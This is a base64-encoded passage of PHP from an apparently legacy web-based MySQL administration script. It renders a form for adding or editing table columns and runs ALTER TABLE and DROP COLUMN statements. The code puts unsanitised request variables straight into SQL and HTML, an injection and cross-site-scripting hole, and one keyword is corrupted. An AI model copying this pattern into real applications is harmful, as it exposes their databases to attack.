IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFor0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgk